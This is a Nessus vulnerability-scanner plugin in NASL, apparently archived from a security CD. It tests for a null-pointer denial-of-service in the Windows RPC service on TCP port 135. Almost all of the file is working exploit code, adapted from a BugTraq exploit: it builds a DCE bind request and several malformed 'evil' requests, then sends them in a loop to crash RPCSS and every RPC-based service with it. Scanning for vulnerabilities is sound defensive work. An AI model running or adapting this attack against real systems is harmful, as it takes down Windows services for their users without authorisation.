home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / msrpc-spike27.nasl < prev    next >
Text File  |  2005-03-31  |  7KB  |  246 lines

  1. #
  2. # Test "Spike 2.7" MS RPC Services null pointer reference DoS
  3. #
  4. # Copyright (c) 2002 Pavel Kankovsky, DCIT s.r.o. <kan@dcit.cz>
  5. # Permission to copy, modify, and redistribute this script under
  6. # the terms of the GNU General Public License is hereby granted.
  7. #
  8. # This script is based on an exploit published on BugTraq:
  9. #   Code by lion, Welcomde to HUC Website Http://www.cnhonker.com
  10. #   2002/10/22
  11. #
  12.  
  13. if (description) {
  14.   script_id(11159);
  15.   script_bugtraq_id(6005);
  16.   script_version("$Revision: 1.2 $");
  17.   # script_cve_id( none );
  18.  
  19.   name["english"] = "MS RPC Services null pointer reference DoS";
  20.   script_name(english:name["english"]);
  21.  
  22.   desc["english"] = "
  23. MS Windows RPC service (RPCSS) crashes trying to dereference a
  24. null pointer when it receives a certain malformed request.
  25. All MS RPC-based services (i.e. a large part of MS Windows 2000+)
  26. running on the target machine are rendered inoperable.
  27.  
  28. Solution : Block access to TCP port 135.
  29. Risk factor : High";
  30.   script_description(english:desc["english"]);
  31.  
  32.   summary["english"] = "Attempts to crash MS RPC service the Spike 2.7-way";
  33.   script_summary(english:summary["english"]);
  34.  
  35.   script_category(ACT_DESTRUCTIVE_ATTACK);
  36.  
  37.   script_copyright(english:"This script is Copyright (C) 2002 Pavel Kankovsky");
  38.  
  39.   family["english"] = "Denial of Service";
  40.   script_family(english:family["english"]);
  41.  
  42.   script_dependencie("find_service.nes");
  43.   script_require_ports(135);
  44.   exit(0);
  45. }
  46.  
  47. #
  48. # The script code starts here.
  49. #
  50.  
  51. #
  52. # Prepare DCE BIND request
  53. #
  54.  
  55. function dce_bind()
  56. {
  57.   # Service UUID:
  58.   #   B9E79E60-3D52-11CE-AAA1-00006901293F
  59.   # (this is one of the services bound to port 135)
  60.   sv_uuid = raw_string(
  61.       0x60, 0x9E, 0xE7, 0xB9, 0x52, 0x3D, 0xCE, 0x11,
  62.       0xAA, 0xA1, 0x00, 0x00, 0x69, 0x01, 0x29, 0x3F);
  63.   # The version is incorrect "for extra fun" (should be 0.2)
  64.   sv_vers = raw_string(0x02, 0x00, 0x02, 0x00);
  65.  
  66.   # Transfer syntar UUID:
  67.   #   8A885D04-1CEB-11C9-9FE8-08002B104860
  68.   ts_uuid = raw_string(
  69.       0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11,
  70.       0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60);
  71.   ts_vers = raw_string(0x02, 0x00, 0x00, 0x00);
  72.       
  73.   # Request header
  74.   req_hdr = raw_string(
  75.       0x05, 0x00,              # version, minor version
  76.       0x0b, 0x03,              # BINDPACKET, flags (1st+last frag)
  77.       0x10, 0x00, 0x00, 0x00,  # data representation (LE, ASCII, IEEE fp)
  78.       0x48, 0x00,              # fragment length (72)
  79.       0x00, 0x00,              # auth length
  80.       0x02, 0x00, 0x00, 0x00,  # call id
  81.       0xd0, 0x16, 0xd0, 0x16,  # max xmit frag, max recv frag
  82.       0x00, 0x00, 0x00, 0x00,  # assoc group
  83.       0x01,                    # num ctx items
  84.       0x00, 0x00, 0x00,        # (padding)
  85.       0x00, 0x00,              # p_cont_id
  86.       0x01,                    # n_transfer_syn
  87.       0x00);                   # (padding)
  88.  
  89.   return (string(
  90.       req_hdr, sv_uuid, sv_vers, ts_uuid, ts_vers));
  91. }
  92.  
  93. #
  94. # Prepare evil DCE request I
  95. #
  96.  
  97. function attack_dce_req_1()
  98. {
  99.   # Request header
  100.   req_hdr = raw_string(
  101.       0x05, 0x00,              # version, minor version
  102.       0x00, 0x01,              # REQUESTPACKET, flags (1st frag)
  103.       0x10, 0x00, 0x00, 0x00,  # data representation (LE, ASCII, IEEE fp)
  104.       0xd0, 0x16,              # fragment length (5840)
  105.       0x00, 0x00,              # auth length
  106.       0x8f, 0x00, 0x00, 0x00,  # call id
  107.       0x20, 0x27, 0x01, 0x00,  # alloc hint
  108.       0x00, 0x00,              # context id
  109.       0x02, 0x00,              # opnum: 0
  110.       0xf0, 0x00, 0x00, 0x00,  # ?
  111.       0x00, 0x00, 0x00, 0x00,  # ?
  112.       0x0f, 0x00, 0x00, 0x00); # ?
  113.  
  114.   req_dt1 = crap(data:raw_string(0x41), length:240);
  115.  
  116.   req_dt2 = raw_string(
  117.       0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  118.       0x88, 0x13, 0x00, 0x00);
  119.  
  120.   req_dt3 = crap(data:raw_string(0x42), length:5000);
  121.  
  122.   req_dt4 = raw_string(
  123.       0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  124.       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  125.       0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
  126.       0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00);
  127.  
  128.   req_dt5 = crap(data:raw_string(0x43), length:512);
  129.  
  130.   req_dt6 = raw_string(
  131.       0xfe, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  132.       0xfe, 0xff, 0x00, 0x00, 0x3d, 0x3d, 0x3d, 0x3d,
  133.       0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d,
  134.       0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d);
  135.  
  136.   return (string(
  137.       req_hdr, req_dt1, req_dt2, req_dt3, req_dt4, req_dt5, req_dt6));
  138. }
  139.  
  140. #
  141. # Prepare evil DCE request II
  142. # the size does not match fragment length?!
  143. #
  144.  
  145. function attack_dce_req_2(ah, stuff)
  146. {
  147.   # grrr...nasl barfs on (ah/xx) & 0xff
  148.   ah0 = ah & 0xff;
  149.   ah1 = ah / 256;       ah1 = ah1 & 0xff;
  150.   ah2 = ah / 65536;     ah2 = ah2 & 0xff;
  151.   ah3 = ah / 16777216;  ah3 = ah3 & 0xff;
  152.  
  153.   # Request header
  154.   req_hdr = raw_string(
  155.       0x05, 0x00,              # version, minor version
  156.       0x00, 0x00,              # REQUESTPACKET, flags (none)
  157.       0x10, 0x00, 0x00, 0x00,  # data representation (LE, ASCII, IEEE fp)
  158.       0xd0, 0x16,              # fragment length (5840...hmmm)
  159.       0x00, 0x00,              # auth length
  160.       0x8f, 0x00, 0x00, 0x00,  # call id
  161.       ah0,  ah1,  ah2,  ah3,   # alloc hint
  162.       0x00, 0x00,              # context id
  163.       0x02, 0x00);             # opnum: ?
  164.  
  165.   req_dt1 = crap(data:raw_string(stuff), length:5000);
  166.  
  167.   return (string(req_hdr, req_dt1));
  168. }
  169.  
  170. #
  171. # Prepare evil DCE request III
  172. # this makes absolutely no sense, hmm...
  173. # the attack appears to work without it...
  174. #
  175.  
  176. function attack_dce_req_3()
  177. {
  178.   # Request header? eh...sort of
  179.   req_hdr = raw_string(
  180.       0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00,
  181.       0x00, 0x00, 0x01, 0x10, 0x00, 0x00);
  182.  
  183.   req_dt1 = crap(data:raw_string(0x48), length:5000);
  184.  
  185.   return (string(req_hdr, req_dt1));
  186. }
  187.  
  188. #
  189. # Carry out the attack.
  190. #
  191.  
  192. function attack(port)
  193. {
  194.   # connect
  195.   soc = open_sock_tcp(port);
  196.   if (!soc) return (1);
  197.  
  198.   # send bind request and check whether we got some reply
  199.   # this is used as a liveness test
  200.   send(socket:soc, data:dce_bind());
  201.   r = recv(socket:soc, length:16);
  202.   if (strlen(r) < 16) return (1);
  203.  
  204.   # send the evil packets
  205.   send(socket:soc, data:attack_dce_req_1());
  206.   send(socket:soc, data:attack_dce_req_2(ah:0x011050, stuff:0x44));
  207.   send(socket:soc, data:attack_dce_req_2(ah:0xf980,   stuff:0x45));
  208.   send(socket:soc, data:attack_dce_req_2(ah:0xe2b0,   stuff:0x46));
  209.   send(socket:soc, data:attack_dce_req_2(ah:0x1560,   stuff:0x47));
  210.   send(socket:soc, data:attack_dce_req_3());
  211.  
  212.   # see you!
  213.   close(soc);
  214.   return (0);
  215. }
  216.  
  217.  
  218. #
  219. # The main program.
  220. #
  221.  
  222. port = 135;
  223.  
  224. if (!get_port_state(port)) {
  225.   exit(0);
  226. }
  227.  
  228. maxtries = 5;
  229. countdown = maxtries;
  230.  
  231. while (countdown > 0) {
  232.   success = attack(port:port);
  233.   if (success) {
  234.     if (countdown == maxtries) {
  235.       # XXX it refuses to talk to us
  236.       # XXX should we print a warning?
  237.       exit(0);
  238.     }
  239.     security_hole(port);
  240.     exit(0);
  241.   }
  242.   countdown = countdown - 1;
  243.   sleep(1);
  244. }
  245.  
  246.